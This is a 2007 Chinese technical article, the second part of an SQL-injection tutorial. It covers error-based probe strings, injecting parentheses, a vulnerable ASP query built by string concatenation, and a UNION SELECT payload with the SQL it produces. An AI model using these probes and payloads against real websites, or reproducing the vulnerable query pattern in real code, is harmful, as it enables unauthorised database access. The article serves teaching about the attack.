SQL概述及在网络安全中的应用(下)

豆豆网   技术应用频道   2007年05月19日  【字号: 收藏本文

本文详细介绍SQL概述及在网络安全中的应用(下)

  3.2.3 利用结构错误查询表单

  一些数据库服务器返回的错误信息中包含了一部分格式错误消息,你可以通过分析这些片断来构造你提交的INJECTION语句,有些你提交的字符串会返回有用的信息,有的却不会,这主要是以来于web应用程序中SQL查询语句是如何设计的.下面这些是我推荐你尝试的字符串:

  '
  BadValue'
  'BadValue
  ' OR '
  ' OR
  ;
  9,9,9

  通常这些字符串中的一些会返回相同的信息,或者根本不返回信息.但是有例子告诉我们,可能有的信息只有用他们中的一个才能得到,所以你最好提交字符串的时候,把他们都试一遍.

  3.2.4 圆扩弧

  如果有缺陷的查询语句中包含圆扩弧'(' (就像下面将会举的例子那样),或者返回的错误信息里显式地提醒你缺了'('号(Oracle这么做),那么你应该在你提交的SQL注射字符串中加入'('号.通常在WHERE子句后面加一个括号,但是在一些情况下,你需要加2个或者更多的括号.

  下面是parenthesis.asp的源码:

  mySQL="SELECT LastName, FirstName,
  Title, Notes, Extension FROM Employees WHERE (City = '" & strCity & "')"

  我们插入如下的值:

  "') UNION SELECT OtherField FROM OtherTable WHERE (''='"

  那么传送给SQL SERVER的语句就变成了这样:

SELECT LastName, FirstName, Title, Notes,
Extension FROM Employees WHERE (City = '')
UNION SELECT OtherField From OtherTable WHERE (''='')

责编:豆豆技术应用

正在加载评论...